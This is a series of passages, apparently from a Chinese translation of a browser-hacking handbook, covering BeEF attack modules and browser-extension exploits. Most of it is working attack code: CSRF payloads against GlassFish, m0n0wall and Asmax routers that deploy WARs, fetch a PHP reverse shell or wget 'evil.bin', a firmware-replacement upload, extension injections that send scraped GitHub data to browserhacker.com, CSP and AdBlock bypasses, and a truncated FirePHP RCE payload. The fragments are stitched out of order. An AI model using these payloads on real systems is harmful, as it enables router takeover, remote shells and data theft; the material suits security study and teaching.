    {"text": "这种利用的最有意思之处，在于使用 XMLHttpRequest 对象跨域发送多部分POST请求，这是由Krzysztof Kotowicz发现的 38 ： 38 K. Kotowicz. (2011). How to upload arbitrary file contents cross-domain . Retrieved June 15, 2013 from http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html beef.execute(function() { var restHost = '<%= @restHost %>'; var warName = '<%= @warName %>'; var warBase = '<%= @warBase %>'; var logUrl = restHost + '/management/domain/applications /application'; if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) { XMLHttpRequest.prototype.sendAsBinary = function(datastr) { function byteValue(x) { return x.charCodeAt(0) & 0xff; } var ords = Array.prototype.map.call(datastr, byteValue); var ui8a = new Uint8Array(ords); this.send(ui8a.buffer); } } function fileUpload(fileData, fileName) { boundary = \"BOUNDARY270883142628617\", uri = logUrl, xhr = new XMLHttpRequest(); var additionalFields = { asyncreplication: \"true\", availabilityenabled: \"false\", contextroot: \"\", createtables: \"true\", dbvendorname: \"\", deploymentplan: \"\", description: \"\", dropandcreatetables: \"true\", enabled: \"true\", force: \"false\", generatermistubs: \"false\", isredeploy: \"false\", keepfailedstubs: \"false\", keepreposdir: \"false\", keepstate: \"true\", lbenabled: \"true\", libraries: \"\", logReportedErrors: \"true\", name: \"\", precompilejsp: \"false\", properties: \"\", property: \"\", retrieve: \"\", target: \"\", type: \"\", uniquetablenames: \"true\", verify: \"false\", virtualservers: \"\", __remove_empty_entries__: \"true\" } var fileFieldName = \"id\"; xhr.open(\"POST\", uri, true); xhr.setRequestHeader(\"Content-Type\", \"multipart/form-data; boundary=\"+boundary); // simulate a file MIME POST request. xhr.withCredentials = \"true\"; xhr.onreadystatechange = function() { if (xhr.readyState == 4) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Attempt to deploy \\\"' + warName + '\\\" completed.'); } } var body = \"\"; for (var i in additionalFields) { if (additionalFields.hasOwnProperty(i)) { body += addField(i, additionalFields[i], boundary); } } body += addFileField(fileFieldName, fileData, fileName, boundary); body += \"--\" + boundary + \"--\"; xhr.setRequestHeader('Content-length', body.length); xhr.sendAsBinary(body); return true; } function addField(name, value, boundary) { var c = \"--\" + boundary + \"\\r\\n\" c += 'Content-Disposition: form-data; name=\"' + name +'\"\\r\\n\\r\\n'; c += value + \"\\r\\n\"; return c; } function addFileField(name, value, filename, boundary) { var c = \"--\" + boundary + \"\\r\\n\" c += 'Content-Disposition: form-data; name=\"' + name + '\"; filename=\"' + filename + '\"\\r\\n'; c += \"Content-Type: application/octet-stream\\r\\n\\r\\n\"; c += atob(value); c += \"\\r\\n\"; return c; } fileUpload(warBase,warName); }); fileUpload() 函数接收两个参数：warBase是以base64格式编码的需要部署的WAR，warName是给这个WAR文件随便起的一个名字。"},
    {"text": "对 sendAsBinary() 代码的改进如下： if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) { XMLHttpRequest.prototype.sendAsBinary = function(datastr) { function byteValue(x) { return x.charCodeAt(0) & 0xff; } var ords = Array.prototype.map.call(datastr, byteValue); var ui8a = new Uint8Array(ords); this.send(ui8a.buffer); } } 使用本章前面介绍的一种用于检测不同HTTP状态码的登录检测技术，可以确定勾连浏览器是否通过了GlassFish的管理员身份认证。"},
    {"text": "40 Y. Cam. (2012). m0n0wall 1.33 Cross-site Request Forgery Vulnerability . Retrieved June 15, 2013 from http://1337day.com/exploit/19906 这个Web管理界面功能很多，包括以root角色执行原始命令。"},
    {"text": "41 Pentestmonkey. (2013). PHP reverse shell . Retrieved June 15, 2013 from http://pentestmonkey.net/tools/web-shells/php-reverse-shell 以下代码展示了如何在勾连浏览器中利用已认证的m0n0wall Web管理界面： beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; var uri = \"http://\" + rhost + \":\" + rport + \"/exec_raw.php? \\ cmd=echo%20-e%20%22%23%21%2Fusr%2Flocal%2Fbin%2Fphp%5Cn%3C%3Fphp%20 \\ eval%28%27%3F%3E%20%27.file_get_contents%28%27http%3A%2F%2F\" + \\ beef.net.host + \":\" + beef.net.port + \"%2Fphp-reverse-\\ shell.php%27%29.%27%3C%3Fphp%20%27%29%3B%20%3F%3E%22%20%3E%20 \\ x.php%3Bcat%20x.php%3Bchmod%20755%20x.php%3B\"; beef.net.forge_request(\"http\", \"GET\", rhost, rport, uri, null, null, null, 10, 'script', true, null, function(response){ if(response.status_code == 200){ function triggerReverseConn(){ beef.net.forge_request(\"http\", \"GET\", rhost, rport, \"/x.php?ip=\" + lhost + \"&port=\" + lport, null, null, null, 10, 'script', true, null,function(response){ if(response.status_code == 200){ beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: Reverse shell should have been triggered.\"); }else{ beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: second GET request failed.\"); } }); } setTimeout(triggerReverseConn,5000); }else{ beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: first GET request failed.\"); } }); }); 这段代码对 uri 变量的内容进行了URL编码，使用了所有m0n0wall默认安装都有的exec_raw. php： /exec_raw.php?cmd=echo -e \"#!/usr/local/bin/php\\n \\ <?php eval('?> '.file_get_contents('http://\" + \\ beef.net.host + \":\" + beef.net.port + \\ \"/php-reverse-shell.php').'<?php '); ?>\" > \\ x.php;cat x.php;chmod 755 x.php; BeEF服务器上反弹shell的内容，使用PHP的file_get_contents取得。"},
    {"text": "下面的JavaScript代码演示了如何利用其缺陷： 42 M. Sajdak. (2009). ASMAX AR 804 gu compromise . Retrieved October 8, 2013 from http://www.securitum.pl/dh/asmax-ar-804-gu-compromise var gateway = '192.168.0.1'; var path = 'cgi-bin/script?system%20'; var cmd = 'wget%20http%3A%2F%2Fbrowserhacker.com %2Fevil.bin%20-P%20%2Fvar%2Ftmp'; var img = new Image(); img.setAttribute(\"style\",\"visibility:hidden\"); img.setAttribute(\"width\",\"0\"); img.setAttribute(\"height\",\"0\"); img.id = 'asmax_ar804gu'; img.src = gateway+path+cmd; document.body.appendChild(img); wget可以在路由器中使用，而这段代码借助它把evil.bin从browserhacker.com下载到/var/tmp文件夹中。"},
    {"text": "更严重的是，这款路由器中的每一个进程，包括Web服务器，都以root权限在运行，如图9-37所示。 图 9-37 Asmax路由器上的每个进程都以root权限运行 包括直接访问路由器的BusyBox界面在内的RCE漏洞已经被广为利用。"},
    {"text": "43 T. Baume. (2011). Netcomm NB5 Botnet—PSYB0T 2.5L . Retrieved October 8, 2013 from http://users.adam.com.au/bogaurd/PSYB0T.pdf 这些路由器中的一个很流行的固件版本，未对Web用户界面实施任何强制认证，从而导致攻击者可以通过Telnet远程管理路由器。"},
    {"text": "马萨里克大学研究人员发现了源代码中的一行意大利语注释：[R]anger killato: in nome di Chuck Norris（翻译过来就是“哨兵已死，杀人者Chuck Norris”） 44 。"},
    {"text": "44 P. Cĕleda and R. Krejčí. (2011). An Analysis of the Chuck Norris Botnet 2 . Retrieved October 8, 2013 from http://www.muni.cz/research/projects/4622/web/files/cnb-2.pdf 2. 固件替换远程命令执行 另一种完全控制路由器的方式，是用你的固件替换路由器的固件，这是破坏路由器核心的终极方式。"},
    {"text": "以下代码演示了这一技术： function fileUpload(url, fileData, fileName) { var fileSize = fileData.length, boundary = \"---------------------------\" + \"168072824752491622650073\", xhr = new XMLHttpRequest; xhr.open(\"POST\", url, true); xhr.withCredentials = \"true\"; xhr.setRequestHeader(\"Content-Type\", \"multipart/form-data, boundary=\" + boundary); // 保证multipart的POST主体格式正确 var body = boundary + \"\\r\\n\"; body += \"Content-Disposition: form-data; \" + \"name=\\\"submit_button\\\"; name=\\\"submit_button\\\" \\r\\n\\r\\nUpgrade\\r\\n\"; body += boundary + \"\\r\\nContent-Disposition: \" + \"form-data; name=\\\"change_action\\\"\\r\\n\\r\\n\\r\\n\"; body += boundary + \"\\r\\nContent-Disposition: \" + \"form-data; name=\\\"action\\\"\\r\\n\\r\\n\\r\\n\"; body += boundary + \"\\r\\nContent-Disposition: \" + \"form-data; name=\\\"file\\\"; \" + \"filename=\\\"FW_WRT54GL_4.30.15.002_US_20101208_code.bin\\\"\\r\\n\"; body += \"Content-Type: application/macbinary\\r\\n\"; body += \"\\r\\n\" + fileData + \"\\r\\n\\r\\n\"; body += boundary + \"\\r\\nConntent-Disposition: \" + \"form-data; name=\\\"process\\\"\\r\\n\\r\\n\\r\\n\"; body += boundary + \"--\"; // 非Gecko浏览器（如Chrome）没有sendAsBinary if(navigator.userAgent.toLowerCase().indexOf(\"chrome\") > -1) { XMLHttpRequest.prototype.sendAsBinary = function(datastr) { function byteValue(x) { return x.charCodeAt(0) & 255 } var ords = Array.prototype.map.call(datastr, byteValue); var ui8a = new Uint8Array(ords); this.send(ui8a.buffer) } } xhr.sendAsBinary(body); return true } // 调用fileUpload()传递固件内容 fileUpload(\"http://192.168.0.1/upgrade.cgi\", \"[..firmware binary..]\", \"myFile.gif\"); 执行这些代码，就可以使用原始数据更新Linksys WRT54GL的固件，这些原始数据是作为第二个参数传入 fileUpload() 函数的。"},
    {"text": "45 C. Heffner. (2013). Binwalk . Retrieved October 8, 2013 from https://code.google.com/p/binwalk/ 46 C. Heffner and J. Collake. (2013). Firmware Modification Kit . Retrieved October 8, 2013 from http://code.google.com/p/firmware-mod-kit/ Robert Kornmeyer在2013年年中发表了一篇关于PaulDotCom 47 的文章，描述了使用Firmware Modification Kit，针对Linksys路由器给DD-WRT固件开后门的过程。"},
    {"text": "47 R. Kornmeyer. (2013). Creating Malicious Firmware with Firmware-Mod-Kit . Retrieved October 8, 2013 from http://pauldotcom.com/2013/06/creating-malicious-firmware-wi.html 图 9-39 用BeEF勾连给DD-WRT开了后门 同样的攻击向量对任何暴露Web界面的网络设备都有效，不限于路由器。"},
    {"text": "图 9-40 Routerpwn： www.routerpwn.com 本节介绍的攻击技术展示了网络路由器有多脆弱，特别是那些个人家庭中常用的SOHO设备，尤其没有安全可言。"},
    {"text": "Unknown 致谢 如果没有两位重要人物，我这一生不会做出什么有价值的事情。非常感谢我美丽的妻子Carla，感谢她矢志不移的支持和不计其数的提醒。虽然在本书封面上看不到她的名字，但实际上本书中的每一个字都经过了她的润色。还要感谢我的英雄儿子Owen，如果不是他亲身实践在面对生活挑战时应该时刻面带笑容，我面对的每一个障碍都会更加难以逾越。 另外，能够与Rob Horton和Sherief Hammad共事将近十年对我而言也是一件幸事。正是他们源源不断的鼓励，造就了培养创造力和横向思维的支持性工作空间。当然，还要感谢Michele和Christian陪我一起进行这次写作之旅。 —— Wade Alcorn 我在一家银行初次遇到她，当时恰逢系统崩溃。如果不是她无限耐心的支持，我想我是不可能参与写作这本书的。裹心地感谢我最心爱的妻子Tenille（还有在你肚子里成长的女儿），这本书就是为你而写（让你知道怎么对付小家伙）。我还要感谢我的其他家人。感谢老妈Julia和老爸Maurice，感谢你们给了我机会在信息安全领域发展。感谢我的妹妹Hélène、Justine和Amy，你们让我脑洞大开，你们的支持非常给力。感谢我的Asterisk Info Sec大家庭，感谢你们听我抱怨这事儿有多难，而且给我时间来做完它，非常感谢David Taylor、Steve Schupp、Cole Bergersen、Greg Roberts和Jarrod Burns。还得感谢澳大利亚和新西兰的黑客安全团队，感谢我在网上和会议上认识的所有朋友，非常高兴能够在这个社区里与你们为伍，共同进步。当然还有Wade和Michele，我必须感谢你们邀请我参与这个具有重大意义的任务，感谢你们的不厌其烦，感谢你们的毫无保留，感谢你们容忍我废话连篇！ —— Christian Frichot 首先，我想感谢我心爱的Ewa，感谢她在我夜以继日地做研究和写作本书时给予我精神上的支持。向我的父母致敬，因为他们的支持，我才可能走上了研究和学习新事物的道路。非常感谢我的好朋友Wade Alcorn和Mario Heiderich，感谢他们对我研究的启发，以及跟我进行火花四射的讨论。如果没有他们，这本书就不会写得这么好。为所有相信Full Disclosure才是暴漏洞好方法的人喝彩。最后，感谢与我并肩战斗的好友及安全研究同事（你们知道我说的是谁），感谢你们与我分享漏洞利用技术以及会议后一起把酒言欢。 —— Michele Orrù 本书是团队努力的结晶。首先，感谢两位特约作者Ryan Linn和Martin Murfitt。各大安全社区也让我们受益颇多，特别是这些年来为BeEF作出贡献的人们。正是他们多年的积累，最终汇聚成了这本书呈现在大家面前。 Wiley那些和蔼可亲的人以及本书的技术编辑也是我们必须重点感谢的。不能不提的是Mario Heiderich、Carol Long和Ed Connor，感谢他们的耐心、支持和专业技能。 感谢Krzysztof Kotowicz、Nick Freeman、Patroklos Argyroudis和Chariton Karamitas，感谢他们专家级的贡献。虽然我们不可能把每一位要感谢的人都一一列在这里，但还是要特别点出其中几位的姓名：Brendan Coles、Heather Pilkington、Giovanni Cattani、Tim Dillon、Bernardo Damele、Bart Leppens、George Nicolau、Eldar Marcussen、Oliver Reeves、Jean-Louis Huynen、Frederik Braun、David Taylor、Richard Brown、Roberto Suggi Liverani和Ty Miller。毫无疑问，还有其他重要的名字没有出现在这里。请相信我们，这绝非故意的。 —— 所有作者"},
    {"text": "28 Joseph Bonneau. (2011). Measuring password re-use empirically . RetrievedNovember 30, 2013 from http://www.lightbluetouchpaper.org/2011/02/09/measuring-password-re-use-empirically/ 就算这个数字估计得偏高，也不能认为很多用户不会在某些系统中设置相同的密码。"},
    {"text": "29 Paul Smith. (2012). LinkedIn breach has wider impact on users' security .Retrieved November 30, 2013 from http://www.brw.com.au/p/technology/linkedin_breach_has_wider_impact_OX43PuN2b7KS56Z0pAX0bM 这一切跟扩展有什么关系？"},
    {"text": "LastPass就是这样一个扩展，一个相对流行的在线密码管理软件包 30 。 在这里，“在线”的意思是LastPass把用户密码保存在自己的系统中，从而实现用户在互联网上的多个浏览器和设备间同步这些密码。"},
    {"text": "30 Dave Drager. (2011). Five Best Browser Security Extensions . Retrieved November 30, 2013 from http://lifehacker.com/5770947/five-best-browser-security-extensions 那么这些在线密码系统安全吗？"},
    {"text": "7.3.2 跨上下文脚本攻击 XCS（Cross-context Scripting，跨上下文脚本攻击）有时候也叫 跨区域脚本攻击 （Cross-zone Scripting） 31 ，是一种从不受信任区域向受信任区域发送指令的扩展攻击方法 32 。"},
    {"text": "31 Wikipedia. (2013). Cross-zone scripting . Retrieved November 30, 2013 from http://en.wikipedia.org/wiki/Cross-zone_scripting 32 Petko Petkov. (2006). Cross-content scripting with Sage . Retrieved November 30, 2013 from http://www.gnucitizen.org/blog/cross-context-scripting-with-sage/ 这到底意味着什么呢？"},
    {"text": "在解压后的源代码中搜索下面几个函数，可以帮你定位相应的漏洞： window.open() window.opendialog() nsIWindowWatcher() XMLHTTPRequest() 如果chrome://区域中通过不受信任的数据，调用了上述任何一个函数，都说明存在一个漏洞。"},
    {"text": "下面是摘自Stack Overflow问答社区 33 的一段代码（已编辑）： 33 Stackoverflow. (2013). Load remote webpage in background page: Chrome Extension .Retrieved November 30, 2013 from http://stackoverflow.com/questions/11845118/load-remote-webpage-in-background-page-chrome-extension function loadInsecureScript(url) { var x = new XMLHttpRequest(); x.onload = function() { eval(x.responseText); // <-- 安全漏洞 }; x.open('GET', url); x.send(); } loadInsecureScript('http://browservictim.com/insecure.js'); 有人也给出了manifest.json文件中需要有什么： \"content_security_policy\": \"script-src 'self' 'unsafe-eval'; object-src 'self'\", \"permissions\": [\"http://browservictim.com/insecure.js\"], \"background\": {\"scripts\": [\"background.js\"] } 根据问答者的描述，使用这样的代码会导致大量安全问题。"},
    {"text": "中间人攻击是否会导致命令注入，取决于扩展使用数据的方式。 我们简单看一个不会导致XCS的例子，不过根据扩展使用数据的方式，不排除其他攻击目标的方式存在。"},
    {"text": "34 Amazon. (2013). Amazon 1Button App for Chrome . Retrieved November 30, 2013 from https://chrome.google.com/webstore/detail/amazon-1button-app-for-ch/pbjikboenpfhbbejgkoklgkhjpfogcam 为了在不更新扩展代码的情况下实现远程配置，亚马逊决定通过包含某些JavaScript文件的内容脚本来配置扩展。 在这个扩展的3.2013.627.0版中，会取得如下文件： http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/search_conf.js 可能有人注意到了，这两个资源都是通过HTTP加载的，实际上还不止这些。"},
    {"text": "配置内容可以通过以下代码得知： [ \"https:[/]{2}(www[0-9]?|encrypted)[.](l.)?google[.].*[/]\" ] 文件search_conf.js描述了需要从浏览过的页面中提取什么内容报告给Alexa。"},
    {"text": "下面的代码可以让你有所体会： { \"google\" : { \"urlexp\" : \"http(s)?:\\\\/\\\\/www\\\\.google\\\\..*\\\\/.*[?#&]q=([^&]+)\", \"rankometer\" : { \"url\":\"http(s)?:\\\\/\\\\/(www(|[0-9])|encrypted)\\\\.(|l\\\\.)google\\\\..*\\\\/\", \"reload\": true, \"xpath\" : { \"block\": [ \"//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ), concat( ' ', 'g', ' ' ) )]\", \"//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ), concat( ' ', 'g', ' ' ) )]\", \"//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ), concat( ' ', 'g', ' ' ) )]\" ], \"insert\" : [ \"./div/div/div/cite\", \"./div/div[ contains( concat( ' ', normalize-space(@class), ' ' ), concat( ' ', 'kv', ' ' ) )]/cite\", \"./div/div/div/div[ contains( concat( ' ', normalize-space(@class), ' ' ), concat( ' ', 'kv', ' ' ) )]/cite\" ], \"target\" : [ \"./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ' )]/descendant::a/@href\", \"./h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ' )]/descendant::a/@href\", \"./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ' )]/descendant::a/@href\" ] } }, ... }, ... } 抓取到的与search_conf.js中的XPath表达式匹配的网站内容，会报告给http://widgets.alexa.com。"},
    {"text": "35 Aldo Cortesi. (2013). MITMproxy . Retrieved November 30, 2013 from http://mitmproxy.org/ 图 7-14 对1Button扩展进行中间人攻击 还有一个更让人吃惊的漏洞。"},
    {"text": "假设我们通过中间人攻击技术，将httpsdatalist.dat替换成了以下代码： [\"https://\"] 而在拦截search_conf.js请求时也使用如下代码： { \"pwn\" : { \"urlexp\" : \"http(s)?:\\\\/\\\\/\", \"rankometer\" : { \"url\" :\"http(s)?:\\\\/\\\\/\", \"reload\": true, \"xpath\" : { \"block\": [ \"//html\" ], \"insert\" : [ \"//html\" ], \"target\" : [ \"//html\" ] } }, \"cba\" : { \"url\" :\"http(s)?:\\\\/\\\\/\", \"reload\": true } } } 通过这样的攻击，该扩展将（向Alexa）报告所有HTTPS网站的DOM节点内容。"},
    {"text": "如果加载这个URL，就可以看到相关的CSP首部，比如： X-Content-Security-Policy: default-src 'self' www.google-analytics.com netdna.bootstrapcdn.com ajax.googleapis.com; object-src 'none'; media-src 'none'; frame-src 'none'; connect-src 'none'; 首先，我们注意到这里没有 unsafe-eval 指令。"},
    {"text": "下面是一个存在漏洞的内容脚本，可以演示如何利用它绕过CSP： // 获取bhh URL参数 var bhh = document.location.href.split('bhh=')[1]; if (typeof bhh == 'string') { eval(bhh); // 参数eval } 相对应的清单文件如下，只在http://content-security-policy.com源中使用内容脚本： { \"name\": \"Browser Hacker's Handbook CSP Bypass Example\", \"version\": \"1.0\", \"description\": \"Browser Hacker's Handbook CSP Bypass Demonstration\", \"homepage_url\": \"http://browserhacker.com\", \"permissions\": [ \"http://content-security-policy.com/*\" ], \"content_scripts\": [ { \"all_frames\": true, \"js\": [ \"cs.js\" ], \"matches\": [ \"http://content-security-policy.com/*\" ], \"run_at\": \"document_end\", \"all_frames\": true } ], \"manifest_version\": 2 } 找到存在漏洞的内容脚本后，下面就来绕过放在这个网站HTTP首部的CSP控件： http://content-security-policy.com/#bhh= eval(alert('Browser Hacker\\'s Handbook')) 目标浏览器在加载前面的URL时，就会绕过CSP。"},
    {"text": "以下内容脚本展示了一个可以利用的漏洞： function do_something(title) { // 利用网页标题做些事 } var title = document.title; window.setTimeout(\"do_something(\\\"\" + title + \"\\\")\", 500); 漏洞在于这个内容脚本不安全地使用页面的标题内容。"},
    {"text": "假设你发送的网页HTML如下： <HTML> <HEAD> <TITLE>\"); var xhr = new XMLHttpRequest(); xhr.open(\"GET\", 'https://github.com/settings/profile/', true); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { github_settings_page = xhr.responseText; var name_regexp = /<input type=\"text\" value=\"(.*)\" tabindex=\"2\"\\/>/g; var name_arr = name_regexp.exec(github_settings_page); name = name_arr[1]; new Image().src = \"http://browserhacker.com/\" + encodeURI(name); }; }; xhr.send(); a=(\"</TITLE> </HEAD> <BODY> Browser Hacker's Handbook Extension SOP Bypass Example </BODY> </HTML> 发送这个页面后，就等于把代码注入到了chrome://区域。"},
    {"text": "看看它的代码，就可以看到下面这个函数： 36 Ezanker. (2013). ezLinkPreview . Retrieved November 30, 2013 from http://www.simpledifference.com/ezanker/ function GetURLDocumentTitleJQ(url) { var ezPageTitle = url; //将URL作为默认标题 $.ajax({ url: url, async: true, success: function(data) { try { var matches = data.match(/<title>(.*?)<\\/title>/); var title = matches[1]; if (title != null && title.length > 0) { ezPageTitle = title; } } catch (err) {} var scr = 'ezBookmarkOneClick(\"' + url + '\", \"' + ezPageTitle + '\");'; chrome.tabs.executeScript(null, {code: scr}); }, 仔细看一看，会发现 GetURLDocumentTitleJQ 函数根本没有在内容脚本中执行，而是在后台页面中执行的。"},
    {"text": "接下来，它以取得的标题内容调用 chrome.tabs.executeScript 函数 37 。 37 Google. (2013). Chrome tabs: execute script . Retrieved November 30, 2013 from http://developer.chrome.com/extensions/tabs.html#method-executeScript 在通过 chrome.tabs.executeScript 函数执行之前，标题的内容并未经过任何过滤。"},
    {"text": "下面注入的代码经过了简化，但可以帮你验证扩展是否真的存在那么一个漏洞： <title>anything\"+console.log(1)+\"</title> 要发动利用，受害者浏览器必须调用 GetURLDocumentTitleJQ 函数，以请求恶意页面。"},
    {"text": "它把JavaScript注入页面，然后当第二个参数有一个 code 属性时，它会以传入的代码创建一个全新的内容脚本。 换句话说，利用这个扩展之后，该函数会使用你注入的指令，创建一个新的内容脚本。"},
    {"text": "可以通过向 bhh 参数添加JavaScript代码，来利用这个漏洞： // 获取bhh URL参数 var bhh = document.location.href.split('bhh=')[1]; if (typeof bhh == 'string') { eval(bhh); // 参数eval } 这个扩展的清单文件如下，它在告诉Chrome按照 <all_urls> 指定的那样，在所有源中执行内容脚本： { \"name\": \"Browser Hacker's Handbook UXSS Example\", \"version\": \"1.0\", \"description\": \"Browser Hacker's Handbook Universal XSS Demonstration\", \"homepage_url\": \"http://browserhacker.com\", \"permissions\": [ \"<all_urls>\" ], \"content_scripts\": [ { \"all_frames\": true, \"js\": [ \"cs.js\" ], \"matches\": [ \"<all_urls>\" ], \"run_at\": \"document_end\", \"all_frames\": true } ], \"manifest_version\": 2 } 图7-17展示了这个有漏洞的内容脚本是怎么在浏览器查看的每个网页中引入XSS漏洞的。"},
    {"text": "换句话说，通过在URL中使用 # 符号，浏览器不会将位于它后面的任何内容发送给Web服务器。 通过把利用代码放到 # 后面，服务器日志中不会出现，Web应用的防火墙也不会检测到。"},
    {"text": "这个manifest.json文件中的参数用于列出扩展中可以访问的白名单文件： { { \"name\": \"extensionName\", \"version\": \"versionString\", \"manifest_version\": 2 }, \"web_accessible_resources\": [ \"logo.png\", \"menu.html\", \"style.css\" ] } 这意味着从任何网页都可以访问这些资源。 如果manifest.json文件中包含上面的代码，那么下面的URL就是可以访问的： chrome-extension://abcdefghijklmnopqrstuvwxyz012345/menu.html 在某些条件下，仅仅加载资源就可以触发某些副作用，并在底层扩展中执行操作。"},
    {"text": "38 Michael Gundlach. (2013). AdBlock . Retrieved November 30, 2013 from https://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom 就在过滤器订阅页面中，存在一个XFRF漏洞 39 。"},
    {"text": "打开以下URL，在chrome://区域执行，就会触发相应订阅功能： 39 Wladimir Palant. (2011). Add frame busting code to HTML pages .Retrieved November 30, 2013 from https://github.com/adblockplus/adblockpluschrome/commit/4b50a67f8d5a24b8e1298320536c30f2e4e38448 chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/pages/subscribe.html 加载subscribe.html资源时会执行的指令包含在subscribe.js脚本中 40 。 相关内容 41 如下面代码所示 42 ： 40 Krzysztof Kotowicz. (2012). Chrome addons hacking: Bye Bye AdBlock filters! Retrieved November 30, 2013 from http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html 41 Adblockforchrome. (2012). Adblockforchrome: subscribe.js . Retrieved November 30, 2013 from https://code.google.com/p/adblockforchrome/source/browse/trunk/pages/subscribe.js?spec=svn5004&r=3525 42 Adblockforchrome. (2012). Adblockforchrome: functions.js . Retrieved November 30, 2013 from https://code.google.com/p/adblockforchrome/source/browse/trunk/functions.js?r=3525 // 获取URL var queryparts = parseUri.parseSearch(document.location.search); ... // 订阅列表 var requiresList = queryparts.requiresLocation ? \"url:\" + queryparts.requiresLocation : undefined; BGcall(\"subscribe\", {id: 'url:' + queryparts.location, requires:requiresList}); 这段代码显示了产生漏洞的执行过程。"},
    {"text": "如果URL中的参数是 location=http://browserhacker.com ，那就是从 http://browserhacker.com 订阅过滤器。 那么，整个URL如下所示： chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/pages /subscribe.html?location= http://browserhacker.com 了解了漏洞的工作原理，接下来看看怎么利用它。"},
    {"text": "在这里，我们希望过滤器把所有URL都放入白名单： <iframe style=\"position:absolute;left:-1000px;\" id=\"bhh\" src=\"\"></iframe> //... var url = \"chrome-extension://\"; url += \"gighmmpiobklfepjocnamgkkbiglidom\"; url += \"/pages/subscribe.html?\"; url += \"location=http://browserhacker.com/list.txt\"; document.getElementById('bhh').src = url; 使用这段代码，目标浏览器就会创建加载资源的内嵌框架，并将http://browserhacker.com/list.txt作为 BGcall 扩展函数的值，然后该函数会加载它。"},
    {"text": "因此把包含如下内容的list.txt放在你的服务器上，AdBlock就会被禁用： [Adblock Plus 0.7.5] @@*$document,domain=~whitelist.all 重要的事情需要再强调，这个漏洞只在清单文件版本1下存在。 如果在当前版本的Chrome扩展（使用清单文件版本2）中成功实现攻击，请求的资源必须列在 web_accessible_resources 参数中： \"web_accessible_resources\": [ \"img/icon24.png\", \"jquery/css/images/ui-bg_inset-hard_100_fcfdfd_1x100.png\", \"jquery/css/images/ui-icons_056b93_2.6.440.png\", \"jquery/css/images/ui-icons_d8e7f3_2.6.440.png\", \"jquery/css/jquery-ui.custom.css\", \"jquery/css/override-page.css\" ] 从前面的代码可以看出，AdBlock 2.6.4的清单文件中，不包含 web_accessible_resources 中的 subscribe.html 字符串。"},
    {"text": "图片、文本、链接和DOM节点，都可以从页面中一个地方被拖放到另一个地方，有时候还能直接拖放到扩展里。 需要注意的是，如果拖放的是带属性的HTML元素或DOM节点，那么这些元素或节点的所有属性和方法都会被复制到新位置。"},
    {"text": "如果一个本来无恶意的、带有JavaScript onLoad处理程序的图片被拖放到特权区域，那处理程序中的JavaScript代码就会不受限制地执行： <img src=\"http://browserhacker.com/exploit.gif\" onload=\"your_javascript\"> 比如，前面的图片标签会把图片加载到网页，并在非特权的浏览器环境中执行 onload 代码。 如果受害者将图片拖放到chrome://区域，那么 onload 代码就会再次执行。"},
    {"text": "以下首部展示了FirePHP扩展会查找到的一些HTTP首部： HTTP/1.1 200 OK Date: Thu, 08 Aug 2013 14:18:44 GMT Server: Apache Last-Modified: Fri, 29 Mar 2013 22:45:39 GMT ETag: \"401b9-0-4d91807c0760e\" Accept-Ranges: bytes Content-Length: 0 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html X-Wf-Protocol-1: http://meta.wildfirehq.org/Protocol/JsonStream/0.2 X-Wf-1-Plugin-1: http://meta.firephp.org/Wildfire/Plugin/FirePHP/ Library-FirePHPCore/0.3 X-Wf-1-Structure-1: http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1 X-Wf-1-1-1-1: 29|[\"Browser Hacker's Handbook\"]| 可以看到，首部中已经插入了 Browser Hacker's Handbook 字符串。"},
    {"text": "44 Eldar Marcussen. (2013). FirePHP firefox plugin remote code execution . Retrieved November 30, 2013 from http://www.justanotherhacker.com/advisories/JAHx132.txt 安装好这个有漏洞的扩展后，接下来要设置一下环境。 确认Firebug中的Net标签页是启用的，然后在控制台中输入以下代码，并点击Run： console.log('Exploit FirePHP start') xhr = new XMLHttpRequest(); xhr.open(\"GET\",\"http://browserhacker.com/\",true); xhr.send(); console.log('Mouseover FirePHP array to finish') 这段代码会向http://browserhacker.com发送一个XHR请求，模拟对受害者的一次攻击。"},
    {"text": "就使用你常用的实时代理，然后添加FirePHP的首部（以X-Wf开头）即可： HTTP/1.1 200 OK Date: Wed, 07 Aug 2013 00:27:48 GMT Server: Apache Last-Modified: Fri, 29 Mar 2013 22:45:39 GMT ETag: \"401b9-0-4d91807c0760e\" Accept-Ranges: bytes Content-Length: 0 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html X-Wf-Protocol-1: http://meta.wildfirehq.org/Protocol/JsonStream/0.2 X-Wf-1-Plugin-1: http://meta.firephp.org/Wildfire/Plugin/FirePHP/ Library-FirePHPCore/0.3 X-Wf-1-Structure-1: http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1 X-Wf-1-1-1-1: 476|{\"RequestHeaders\":{\"1\":\"1\",\"2\":\"2\",\"3\":\"3\",\"4\":\"4\",\"5\":\"5\", \"6\":\"6\",\"7\":\"7\",\"8\":\"8\",\"9\":\"9\",\"UR<script>var lFile=Components.classes [\\\"@mozilla.org/file/ local;1\\\"].createInstance 